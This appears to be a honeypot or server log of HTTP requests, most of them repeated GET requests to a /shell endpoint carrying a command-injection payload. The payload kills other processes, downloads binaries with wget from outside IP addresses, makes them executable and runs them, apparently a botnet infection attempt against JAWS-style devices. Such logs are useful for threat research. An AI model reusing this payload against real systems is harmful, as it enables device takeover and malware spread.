Feb. 12, 2025, 7:52 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;wget+http:/\/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 0
Feb. 12, 2025, 7:52 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;wget+http:/\x5C/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 400
User-Agent: KrebsOnSecurity
Feb. 12, 2025, 7:39 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;wget+http:/\/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 0
Feb. 12, 2025, 7:39 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;wget+http:/\x5C/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 400
User-Agent: KrebsOnSecurity
Feb. 12, 2025, 5:39 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;wget+http:/\x5C/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Feb. 12, 2025, 5:21 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;wget+http:/\x5C/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Feb. 10, 2025, 9:45 p.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Feb. 10, 2025, 9:41 p.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Feb. 10, 2025, 1:42 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Feb. 10, 2025, 1 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 26, 2025, 2:25 p.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/93.123.109.120/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/93.123.109.120/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 26, 2025, 2:25 p.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/93.123.109.120/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/93.123.109.120/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 26, 2025, 11:54 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/93.123.109.120/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/93.123.109.120/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 26, 2025, 11:54 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/93.123.109.120/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/93.123.109.120/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 26, 2025, 9:26 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/93.123.109.120/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/93.123.109.120/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 26, 2025, 9:26 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/93.123.109.120/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/93.123.109.120/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 26, 2025, 6:53 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/93.123.109.120/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/93.123.109.120/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 26, 2025, 6:53 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+efefa7;wget+http:/\x5C/93.123.109.120/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/93.123.109.120/drea4;chmod+777+drea4;./drea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 25, 2025, 7:36 p.m. —
POST
/cgi-bin/hotspotlogin.cgi
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Dec. 14, 2024, 9:03 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 14, 2024, 8:29 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 14, 2024, 6:07 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 14, 2024, 12:30 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 14, 2024, 12:10 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 12, 2024, 8:58 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 12, 2024, 8:23 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 11, 2024, 11:51 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 11, 2024, 11:08 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 11, 2024, 8:27 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…
Dec. 11, 2024, 8:27 p.m. —
GET
/
→ 301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/…